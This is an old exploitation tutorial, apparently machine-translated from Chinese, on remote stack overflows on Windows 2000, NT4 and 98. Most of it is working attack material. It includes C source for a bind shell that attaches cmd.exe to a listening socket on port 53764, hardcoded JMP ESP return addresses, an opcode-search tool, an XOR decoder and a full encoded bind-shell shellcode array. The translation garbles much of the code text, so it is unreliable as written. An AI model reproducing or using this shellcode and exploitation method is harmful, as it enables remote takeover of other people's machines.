Remote Stack overflow under the Window system - "Principles"
Author: ipxodi (ipxodi@263.net)
---- Preface
Let's study the remote overflow method under the WINDOWS system.
Our goal is to study how to use the Windows program overflow for remote attacks.
If you are not very familiar with the buffer under Windows, please review my article in front:
"Stack overflow under the Window system" (NSfocusmagzine 20003).
This article and subsequent "actual combat articles" are based on this article.
Let us start from the beginning. Windows 2000 Advanced Server (Build 5.00.2195)
The first article "principle"
---- Remote Spill Algorithm
How to open a remote shell?
The idea is this: first make the enemy's program overflow, let him perform our shellcode.
Our SHELLCODE function is to open a Telnetd server with a port on the enemy machine.
Then wait for the customer to connect. When the customer is connected, create a cmd.exe for this customer.
Connect the customer's input and output and cmd.exe input and output, we
The remote user has a remote shell (like telnet).
The above algorithm I want everyone to get it, this Socket part is relatively simple. Basic under UNIX
almost. Just adding a WSASTARTUP; creating a cmd.exe for the customer, is using createprocess
To create this sub-process; how do you link the customer's input output and the output of cmd.exe?
I use an anonymous pipe to complete this contact process.
Pipe (PIPE) is a simple process communication (IPC) mechanism. Under Windows NT, 2000, 98, 95
can use. There are two types and anonymous pipes, and the named pipe can be different from different processes and different.
machine
Two-way communication between different processes (using UNC naming specifications).
The anonymous pipeline is only communicating between the two sub-processes between the parent-child process or one process. He is one-way.
Anonymous pipe is actually achieved by a famous pipe for a specified name.
The greatest advantage of the pipe is that he can operate like a normal file.
His operator is Handle, that is, he can use ReadFile,
Writefile functions to perform read and write operations with the underlying implementation! Users don't have to know the network / process between networks
The specific details of communication.
Here is the C implementation of this algorithm:
/ ************************************************** **********************************
* /
/ * Telnetd.cpp by ipxodi tester in Win2000
To illustrate the method of telnetd.
Only One Connection Can Be Accept,
Feel Free To Add Select ... To Fit for Multiple Client
* /
#include
#include
int main ()
{
WSADATA WSA;
Socket Listenfd;
Char buff [1024];
int R;
WSASTARTUP (Makeword (2, 2), & WSA);
Listenfd = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); Struct SockAddr_in Server;
Server.sin_family = af_INet;
Server.sin_port = HTONS (53764);
Server.sin_addr.s_addr = addr_any;
Ret = Bind (Listenfd, (SockAddr *) & Server, SIZEOF (Server));
RET = Listen (Listenfd, 2);
INT Iaddrsize = Sizeof (Server);
Socket Clientfd = Accept (Listenfd, (SockAddr *) & Server, & Iaddrsize;
/ *
This code is used to build a TCP Server, let's apply for a socketfd first.
Use 53764 (casual, how many rows) as this Socket connection port, bind him,
Then wait on this port to wait for the Listen. The program blocks in the Accept function until there is
CLIENT is connected.
* /
Security_attributes sa;
Sa.nlength = 12; sa.lpsecurityDescriptor = 0; sa.binherithandle = true;
Handle Hreadpipe1, hwritepipe1, hreadpipe2, hwritepidipe2;
RET = CreatePipe (& HreadPipe1, & HwritePipe1, & Sa, 0);
RET = CreatePipe (& Hreadpipe2, & HWritePipe2, & Sa, 0);
/ *
Create two anonymous pipes. Hreadpipe can only be used to read the pipeline, and hwritepipe1 can only be used to write pipes.
* /
Startupinfo Si;
ZeromeMory (& Si, SIZEOF (Si));
Si.dwflags = startf_useshowwindow | Startf_usestdhandles;
Si.WShowWindow = sw_hide;
Si.hstdinput = HREADPIPE2;
Si.hstdoutput = si.hstderror = hwritepipe1;
CHAR CMDLINE [] = "cmd.exe";
PROCESS_INFORMATION processinformation;
Ret = CreateProcess (Null, Cmdline, Null, Null, 1,0, Null, Null, & Si, & ProcessInformati
ON);
/ *
This code creates a shell (cmd.exe) and uses the standard input of cmd.exe with the second pipeline.
The reading handle is replaced. CMD.exe's standard output and standard error output replace the write handle of the first pipe.
The logical schematic diagram of these two pipes is as follows:
(Parent process) Read <--- [pipeline one] <--- Write standard output (cmd.exe sub-process)
(Parent Process) Write ---> Pipeline 2] ---> Read Standard Input (cmd.exe Process)
* /
UNSIGNED Long LbytesRead;
While (1) {
Ret = peeknamedpipe (hreadpipe1, buff, 1024, & lbytesread, 0, 0); if (lbytesread) {
Ret = readfile (HreadPipe1, Buff, LbytesRead, & lbytesRead, 0);
IF (! RET) Break;
RET = Send (Clientfd, Buff, LbytesRead, 0);
IF (RET <= 0) Break;
} else {
LbytesRead = Recv (Clientfd, BUFF, 1024, 0);
IF (LbytesRead <= 0) Break;
Ret = Writefile (HWritePiPiPi2, Buff, LbytesRead, & lbytesRead, 0);
IF (! RET) Break;
}
}
/ *
This code completes the interaction of customer input and shell. PeeknamedPipe is used asynchronous query pipeline,
See if the shell has output. If you read the readfile and send it to the customer. if there is not,
Go to the customer's input. The WriteFile is written to the pipe to the shell.
The cooperation of these two pipes and clients and Server is as follows:
Enter a command <- send (parent process) READ <- [pipeline one] <- Write standard output
(cmd.exe child process)
Get Results (Client) RECV -> (Parent Process) Write -> [Pipeline 2] -> Read Standard Input
(cmd.exe child process)
* /
Return 0;
}
/ ************************************************** **********************************
* /
---- Shellcode Troubleshooting
Let's write shellcode. Specialty in the Windows system buffer overflow, shellcode has some new problems.
I use the following way to solve:
1) Question of the jump command address
Because when the function returns, the ESP points to the address behind the return address. (Why? Because ESP is returned
The address to be directed is that the parent function is pressed, and the top of the stack before it is ready to execute the Call sub function. )
So, our startcode's starting position is where the function returns, the ESP points to the location. therefore,
Use JMP ESP to jump to our shellcode.
Of course, this is a hypothesis that the program is the recovery of the caller to be responsible for the stack.
The assembly code is this:
Push Eax;
PUSH EBX;
PUSH ECX;
Call Subrutine
Add ESP, 000c
However, if it is a subroutine to restore the stack,
Subrutine:
....
: 010091F3 C9 Leave
: 010091F4 C20C00 RET 000c
ESP does not point to our shellcode start position. It will point to the position of Shellcode 0C.
In fact, this value (here 0c) is available when you try to find an overflow point of the enemy program.
Very precise discovery, because you can see his compilation original code!
In order to solve this situation, shellcode cannot be executed correctly, we can be in front of Shellcode
Add 0C NOP.
In this way, what we need is to use the address of a JMP ESP instruction in memory to overwrite the return address of the enemy program. In memory, of course, there are many DLLs, there will be JMP ESP instructions, I chose the instruction inside the kernel32.dll, because
This kernel32.dll is the system core DLL, loaded in front, the following DLL installation address should be with the front DLL
Change change, in order to consider the versatility, KERNEL32.DLL is used.
Then these addresses are fixed:
Win98 second edition (4.00.2222a), return address is: 0xBff795a3
Under WinNT4 (4.00.1381), the return address is: 0x77f0eac3
Win2000 (5.00.2195), return the address: 0x77e2e32a
The above address, we can use it when testing, however, in order to distinguish between truly deal with the enemy
Which address is selected, you need to first touch the enemy's operating system and the DLL version number.
JMP ESP addresses If you are not right, the enemy's program will appear "Invalid Page Error" dialog, and will be done,
Therefore, before the attack, you must judge the type of enemy through some spider marts.
The following is the code used in the test:
#ifdef Win2000
#define jumpesp "/ x2a / xe3 / xe2 / x77"
#ENDIF
#ifdef Winnt4
#define jumpesp "/ xc3 / xea / xf0 / x77"
#ENDIF
#ifdef WIN98 / / 2222A
#define jumpesp "/ xa3 / x95 / xf7 / xbf"
#ENDIF
#ifdef evploit
#define jumpesp "JMP ESP address on the enemy target program."
#ENDIF
If you have Softice, you can search FFE4 directly in memory. if there is not,
The green Corps's backend writes a small program to search the FFE4 (JMP ESP) string in user32.dll.
I changed him and searched for FFE4 in the specified DLL. The algorithm is as follows:
/ ************************************************** *********************************** /
/*ffe4.cpp by backend
* /
BOOL WE_LOADED_IT = FALSE;
Hinstance h;
TCHAR DLLNAME [] = _t ("user32");
IF (argc> 1) {
STRCPY (Dllname, Argv [1]);
}
H = getModuleHandle (DLLNAME);
IF (h == NULL)
{
H = loadingLibrary (DLLNAME);
IF (h == NULL)
{
Cout << "ERROR Loading DLL:" << Dllname << Endl;
Return 1;
}
WE_LOADED_IT = TRUE;
}
BYTE * PTR = (byte *) h;
Bool Done = false;
For (int y = 0;! done; y )
{
Try
{
IF (PTR [Y] == 0xFF && PTR [Y 1] == 0xE4) {
INT POS = (int) PTR Y;
COUT << "opcode found at 0x" << HEX << POS << Endl;
}
}
Catch (...)
{
Cout << "End of" << Dllname << "Memory Reached" << ENDL;
DONE = true;
}
}
IF (WE_LOADED_IT) FREELIBRARY (H);
/ ************************************************** *********************************** /
2) Question of the function used by Shellcode
A lot of Win32 functions are used in Shellcode, such as ReadFile, CreateProcess, and more.
These functions must be loaded into the process space of the enemy program.
We will not guarantee that there is already loaded.
All functions.
We hope to make a platform-independent shellcode, this must be:
Functions related to the OS version are not directly used.
This is because the function entry address is different from the version of the OS / SP / upgrade.
The only way is to use LoadLibrary load DLL for each Win32 function used.
Use the getProcAddress function to get the function address. This requires a function name in our shellcode.
Save the function name of each of the functions used, and call the above two functions before shellcode execution
Get the address of these functions one by one.
But there is a problem, how is the address of loadLibrary and getProcadDress itself?
We think about it, the role of these two functions? "Get the address of all other functions."
Yes, they are too important, every Win32 program uses them! So what about our target?
There will be they will have them. So, when writing Exploit, the address of these two functions is determined.
How do I find the loading address of these two functions in the target program? They will not be based on enemy operating systems
Different changes? Not. These dynamic loaded functions have an entry table in the target program.
Deloaded by the target program yourself, but his entry table address is fixed.
You can use WDASM32 to search LoadLibrary and getProcaddress,
It can be seen that they correspond to the entry table address AAAA. Inside shellcode,
They can be referenced directly with Call [AAAAa].
3) String issues used in Shellcode
Just solved the second question, I introduced the third issue. Previously mentioned the use of function names for use to dynamically get
Function address. But these function names must be ended with / 0x0! The most basic one of our shellcode,
It is absolutely not to contain / 0x0 inside, or there is no return bank / n.
The solution is the first to encode the string table (so scary) to process all illegal characters.
Shellcode is decoded by a subroutine before use.
The method I use is to handle the string for xor 0x99. This is a program.
Here is the codec program:
0xB1, 0xC6, / * MOV CL, C6 * /
0x8b, 0xc7, / * MOV EAX, EDI * /
/ * Xorshellcode * / / * * /
0x48, / * Dec EAX * /
0x80, 0x30, 0x99, / * xor byte ptr [EAX], 99 * /
0xE2, 0xfa, / * loop xorshellcode * /
Oh, it is not scared at all, is it simple, is it?
The list of resources we will use is all the functions used in front, plus "cmd.exe". Specifically:
/ ************************************************** *********************************** /
DB "kernel32", 0; String to Push for loadingLibrary.
DB "CreatePipe", 0
DB "getStartupinfoa", 0
DB "CreateProcessa", 0
DB "peeknamedpipe", 0
DB "globalalloc", 0
DB "Writefile", 0
DB "readfile", 0
DB "Sleep", 0
DB "EXIXTPROCESS", 0
DB "WSOCK32", 0
DB "Socket", 0
DB "bind", 0
DB "Listen", 0
DB "accept", 0
DB "send", 0
DB "Recv", 0
Sockstruc Struct
SIN_FAMILY DW 0002H
SIN_PORT DW?
SIN_ADDR DD?
SIN_ZERO DB 8 DUP (0)
Sockstruc Ends
DB "cmd.exe", 0
DD 0FFFFFFFH
DB 00DH, 00AH
/ ************************************************** *********************************** /
4) Writing of Shellcode
Compile the previous C program to extract Shellcode, then add the previous codec and function loading modules.
Applying the previous design idea, we can write shellcode as follows:
UNSIGNED Char Sploit [580] = {
0x90, 0x8b, 0xfc, / * MOV EDI, ESP * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0xF7, 0xD0, / * NOT EAX * /
0x50, / * push eax * /
0x59, / * POP ECX * /
0xf2, / * repnz * /
0xAF, / * scaSD * /
0x59, / * POP ECX * /
0xB1, 0xC6, / * MOV CL, C6 * /
0x8b, 0xc7, / * MOV EAX, EDI * /
/ * Xorshellcode * / / * * /
0x48, / * Dec EAX * /
0x80, 0x30, 0x99, / * xor byte ptr [EAX], 99 * /
0xE2, 0xfa, / * loop xorshellcode * /
0x33, 0xF6, / * xor ESI, ESI * /
0x96, / * xchg eax, esi * /
0xBB, 0x99, 0xE8, 0x61, 0x42, / * MOV EBX, & loadLibrary * /
0xc1, 0xeb, 0x08, / * shr EBX, 08 * /
0x56, / * push eSi * /
0xFF, 0x13, / * Call Dword PTR [EBX] * /
0x8b, 0xD0, / * MOV EDX, EAX * /
0xfc, / * CLD * /
0x33, 0xc9, / * xor ECX, ECX * /
0xB1, 0x0B, / * MOV CL, 0B * /
0x49, / * DEC ECX * /
/ * loadkernelprocess * / / * * /
0x32, 0xc0, / * xor al, al * /
0xac, / * LODSB * /
0x84, 0xc0, / * Test Al, Al * /
0x75, 0xf9, / * jne loadingkernelprocess * / 0x52, / * push edx * /
0x51, / * push ecx * /
0x56, / * push eSi * /
0x52, / * push edx * /
0xB3, 0xE4, / * MOV BL, E4 & GETPROCADDR * /
0xFF, 0x13, / * Call Dword PTR [EBX] * /
0xAb, / * stosd * /
0x59, / * POP ECX * /
0x5A, / * POP EDX * /
0xE2, 0xec, / * loop loadingkernelprocess * /
/ * * /
0x32, 0xc0, / * xor al, al * /
0xac, / * LODSB * /
0x84, 0xc0, / * Test Al, Al * /
0x75, 0xf9, / * jne omy 00000176 * /
0xB3, 0xE8, / * MOV BL, E8 * /
0x56, / * push eSi * /
0xFF, 0x13, / * Call Dword PTR [EBX] * /
0x8b, 0xD0, / * MOV EDX, EAX * /
0xfc, / * CLD * /
0x33, 0xc9, / * xor ECX, ECX * /
0xB1, 0x06, / * MOV CL, 06 * /
/ * LoadSocketProcess * /
0x32, 0xc0, / * xor al, al * /
0xac, / * LODSB * /
0x84, 0xc0, / * test al, al * / 0x75, 0xf9, / * jne loadingsocketprocess * /
0x52, / * push edx * /
0x51, / * push ecx * /
0x56, / * push eSi * /
0x52, / * push edx * /
0xB3, 0xE4, / * MOV BL, E4 * /
0xFF, 0x13, / * Call Dword PTR [EBX] * /
0xAb, / * stosd * /
0x59, / * POP ECX * /
0x5A, / * POP EDX * /
0xE2, 0xec, / * loop loadingsocketprocess * /
/ *
This code is the preparatory work in the early stage, which is responsible for obtaining all the entrance addresses of all functions, these functions are:
"Kernel32.dll"
"Creagepipe"
GetStartupinfoa "
"CREATEPROCESSA"
"Peeknamedpipe"
"Globalalloc"
"Writefile"
"Readfile"
"SLEEP"
"Exitprocess"
WSOCK32.DLL "
"socket"
"bind"
"listen"
"accept"
"send"
"Recv"
* /
0x83, 0xc6, 0x05, / * add esi, 00000005 * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0x40, / * inc Eax * /
0x50, / * push eax * /
0x40, / * inc Eax * /
0x50, / * push eax * /
0xFF, 0x57, 0xE8, / * CALL [EDI-18] * /
0x93, / * xchg EAX, EBX * / 0x6A, 0x10, / * push 00000010 * /
0x56, / * push eSi * /
0x53, / * push ebx * /
0xFF, 0x57, 0xec, / * call [EDI-14] * /
0x6a, 0x02, / * push 00000002 * /
0x53, / * push ebx * /
0xFF, 0x57, 0xF0, / * Call [EDI-10] * /
0x33, 0xc0, / * xor Eax, EAX * /
0x57, / * push eDI * /
0x50, / * push eax * /
0xB0, 0x0C, / * MOV Al, 0C * /
0xAb, / * stosd * /
0x58, / * POP EAX * /
0xAb, / * stosd * /
0x40, / * inc Eax * /
0xAb, / * stosd * /
0x5f, / * POP EDI * /
0x48, / * Dec EAX * /
0x50, / * push eax * /
0x57, / * push eDI * /
0x56, / * push eSi * /
0xAD, / * Lodsd * /
0x56, / * push eSi * /
0xFF, 0x57, 0xc0, / * call [EDI-40] * /
0x48, / * Dec EAX * /
0x50, / * push eax * /
0x57, / * push eDI * /
0xAD, / * Lodsd * /
0x56, / * push eSi * /
0xAD, / * lodsd * / 0x56, / * push eSi * /
0xFF, 0x57, 0xc0, / * call [EDI-40] * /
0x48, / * Dec EAX * /
0xB0, 0x44, / * MOV Al, 44 * /
0x89, 0x07, / * MOV DWORD PTR [EDI], EAX * /
0x57, / * push eDI * /
0xFF, 0x57, 0xc4, / * call [EDI-3C] * /
0x33, 0xc0, / * xor Eax, EAX * /
0x8b, 0x46, 0xf4, / * MOV EAX, DWORD PTR [ESI-0C] * /
0x89, 0x47, 0x3c, / * MOV DWORD PTR [EDI 3C], EAX * /
0x89, 0x47, 0x40, / * MOV DWORD PTR [EDI 40], EAX * /
0x8b, 0x06, / * MOV Eax, DWORD PTR [ESI] * /
0x89, 0x47, 0x38, / * MOV DWORD PTR [EDI 38], EAX * /
0x33, 0xc0, / * xor Eax, EAX * /
0x66, 0xB8, 0x01, 0x01, / * MOV AX, 0101 * /
0x89, 0x47, 0x2c, / * MOV DWORD PTR [EDI 2C], EAX * /
0x57, / * push eDI * /
0x57, / * push eDI * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0x50, / * push eax * /
0x50, / * push eax * /
0x40, / * inc Eax * /
0x50, / * push eax * /
0x48, / * Dec EAX * /
0x50, / * push eax * / 0x50, / * push eax * /
0xAD, / * Lodsd * /
0x56, / * push eSi * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0xFF, 0x57, 0xc8, / * call [EDI-38] * /
0xFF, 0x76, 0xf0, / * push [ESI-10] * /
0xFF, 0x57, 0xcc, / * call [EDI-34] * /
0xff, 0x76, 0xfc, / * push [ESI-04] * /
0xFF, 0x57, 0xcc, / * call [EDI-34] * /
0x48, / * Dec EAX * /
0x50, / * push eax * /
0x50, / * push eax * /
0x53, / * push ebx * /
0xFF, 0x57, 0xF4, / * call [EDI-0C] * /
0x8B, 0xD8, / * MOV EBX, EAX * /
0x33, 0xc0, / * xor Eax, EAX * /
0xB4, 0x04, / * MOV AH, 04 * /
0x50, / * push eax * /
0xC1, 0xE8, 0x04, / * SHR EAX, 04 * /
0x50, / * push eax * /
0xFF, 0x57, 0xD4, / * call [EDI-2C] * /
0x8b, 0xF0, / * MOV ESI, EAX * /
/ * Peekpipe: * /
0x33, 0xc0, / * xor Eax, EAX * /
0x8b, 0xc8, / * MOV ECX, EAX * /
0xB5, 0x04, / * MOV CH, 04 * / 0x50, / * push eax * /
0x50, / * push eax * /
0x57, / * push eDI * /
0x51, / * push ecx * /
0x56, / * push eSi * /
0xFF, 0x77, 0xA8, / * Push [EDI-58] * /
0xFF, 0x57, 0xD0, / * call [EDI-30] * /
0x83, 0x3f, 0x01, / * cmp dword PTR [EDI], 0000000 * /
0x7c, 0x22, / * jl getuserinput * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0x57, / * push eDI * /
0xff, 0x37, / * push dword ptr [EDI] * /
0x56, / * push eSi * /
0xFF, 0x77, 0xA8, / * Push [EDI-58] * /
0xFF, 0x57, 0xDC, / * Call [EDI-24] * /
0x0b, 0xc0, / * or Eax, EAX * /
0x74, 0x2f, / * JE GameOver * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0xff, 0x37, / * push dword ptr [EDI] * /
0x56, / * push eSi * /
0x53, / * push ebx * /
0xFF, 0x57, 0xF8, / * call [EDI-08] * /
0x6a, 0x50, / * push 00000050 * /
0xFF, 0x57, 0xE0, / * Call [EDI-20] * / 0xeb, 0xc8, / * JMP peekpipe * /
/ * GetUserInput: * /
0x33, 0xc0, / * xor Eax, EAX * /
0x50, / * push eax * /
0xB4, 0x04, / * MOV AH, 04 * /
0x56, / * push eSi * /
0x53, / * push ebx * /
0xff, 0x57, 0xfc, / * call [eDI-04] * /
0x57, / * push eDI * /
0x33, 0xc9, / * xor ECX, ECX * /
0x51, / * push ecx * /
0x50, / * push eax * /
0x56, / * push eSi * /
0xFF, 0x77, 0xAc, / * push [EDI-54] * /
0xFF, 0x57, 0xD8, / * call [EDI-28] * /
0x6a, 0x50, / * push 00000050 * /
0xFF, 0x57, 0xE0, / * Call [EDI-20] * /
/ * GameOver: * /
0xeb, 0xaa, / * JMP peekpipe * /
0x50, / * push eax * /
0xFF, 0x57, 0xE4, / * Call [EDI-1C] * /
0x90, / * NOP * /
/ *
The long code here is the algorithm of the C language. My comment is very detailed, I don't have much to say.
* /
0xD2, 0xDC, 0xCB, 0xD7, 0xDC, 0xD5, 0xAA, 0xAb, 0x99,
0xDa, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,
0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xD0, 0xF7, 0xFF,
0xF6, 0xD8, 0x99, 0xF8, 0xeb, 0xfc, 0xc9, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0xf5, 0x99, 0xea, 0xf5, 0xf6, 0xea, 0xfc, 0xD1,
0xF8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,
0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,
0xF8, 0xF5, 0xD8, 0xF5, 0xF5, 0xF6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,
0xFc, 0xDF, 0xF0, 0xF5, 0xFC, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,
0xF5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,
0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xD6,
0xDA, 0xD2, 0xAA, 0xAb, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,
0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,
0xF8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,
0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,
0x4b, 0x9d, // Word Value for Bind Port, 4B9D XOR 9999H = 53764
0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,
0xFA, 0xF4, 0xFD, 0xB7, 0xFC, 0xE1, 0xFC, 0x99, 0xFF, 0xFF, 0xFF, 0xFF,
0x0d, 0x0a};
/ *
These are the string table, has been encoded.
* /